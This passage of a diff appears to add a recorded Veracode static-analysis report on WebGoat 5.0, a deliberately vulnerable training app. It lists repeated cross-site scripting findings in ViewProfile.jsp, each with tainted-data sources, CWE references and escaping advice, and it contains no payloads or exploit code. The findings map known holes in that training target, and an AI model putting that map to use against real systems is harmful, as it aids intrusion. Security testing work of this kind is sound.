+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
